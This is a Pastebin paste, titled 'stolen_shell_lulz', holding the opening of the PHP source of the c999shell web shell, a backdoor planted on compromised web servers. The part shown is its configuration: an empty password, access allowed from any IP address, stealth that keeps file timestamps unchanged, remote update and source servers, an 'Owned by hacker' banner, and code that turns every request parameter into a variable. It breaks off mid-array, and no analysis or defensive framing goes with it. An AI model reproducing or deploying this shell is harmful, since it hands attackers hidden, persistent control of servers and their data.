Advertisement
Lulz-Tigre

stolen_shell_lulz

Jul 7th, 2016
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.00 KB | None | 0 0
  1. C999.php <?php
  2. //Starting calls
  3. if (!function_exists("getmicrotime")) {function getmicrotime() {
  4. list($usec, $sec) = explode(" ", microtime());
  5. return ((float)$usec + (float)$sec);}}
  6. error_reporting(5);
  7. @ignore_user_abort(TRUE);
  8. @set_magic_quotes_runtime(0);
  9. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  10. define("starttime",getmicrotime());
  11. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {
  12. function strips(&$arr,$k="") {if (is_array($arr))
  13. {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}}
  14. else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  15. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  16. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  17.  
  18. $shver = "1.0 pre-release build #16"; //Current version
  19. //CONFIGURATION AND SETTINGS
  20. if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";}
  21. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);}
  22. else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL
  23. }
  24.  
  25. $surl_autofill_include = TRUE; //If TRUE then search variables with
  26.                                //descriptors (URLs) and save it in SURL.
  27.  
  28. if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach
  29. (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v);
  30. $name = urldecode($v[0]);
  31. $value = urldecode($v[1]);
  32. foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  33. if (strpos($value,$needle) === 0) {
  34. $includestr .= urlencode($name)."=".urlencode($value)."&";}}}
  35. if ($_REQUEST["surl_autofill_include"]) {
  36. $includestr .= "surl_autofill_include=1&";}}
  37. if (empty($surl))
  38. {
  39.  $surl = "?".$includestr; //Self url
  40. }
  41. $surl = htmlspecialchars($surl);
  42.  
  43. $timelimit = 0; //time limit of execution this script over server quote
  44.                 //(seconds), 0 = unlimited.
  45.  
  46. //Authentication
  47. $login = ""; //login
  48. //DON'T FORGOT ABOUT PASSWORD!!!
  49. $pass = ""; //password
  50. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  51.  
  52. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  53. $login_txt = "Restricted area"; //http-auth message.
  54. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied";
  55.  
  56. $gzipencode = TRUE; //Encode with gzip?
  57.  
  58. $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
  59.  
  60. $c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server
  61. $c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server
  62.  
  63. $filestealth = TRUE; //if TRUE, don't change modify- and access-time
  64.  
  65. $donated_html = "<center><b>Owned by hacker</b></center>";
  66. /* If you publish free shell and you wish
  67. add link to your site or any other information,
  68. put here your html. */
  69. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  70.  
  71. $curdir = "./"; //start folder
  72. //$curdir = getenv("DOCUMENT_ROOT");
  73. $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  74. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  75.  
  76. $log_email = "user@host.tld"; //Default e-mail for sending logs
  77.  
  78. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  79. $sort_save = TRUE; //If TRUE then save sorting-position using cookies.
  80.  
  81. // Registered file-types.
  82. //  array(
  83. //   "{action1}"=>array("ext1","ext2","ext3",...),
  84. //   "{action2}"=>array("ext4","ext5","ext6",...),
  85. //   ...
  86. //  )
  87. $ftypes  = array(
  88.  "html"=>array("html","htm","shtml"),
  89.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  90.  "exe"=>array("sh","install","bat","cmd"),
  91.  "ini"=>array("ini","inf"),
  92.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  93.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  94.  "sdb"=>array("sdb"),
  95.  "phpsess"=>array("sess"),
  96.  "download"=>array("exe","com","pif","src","lnk
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement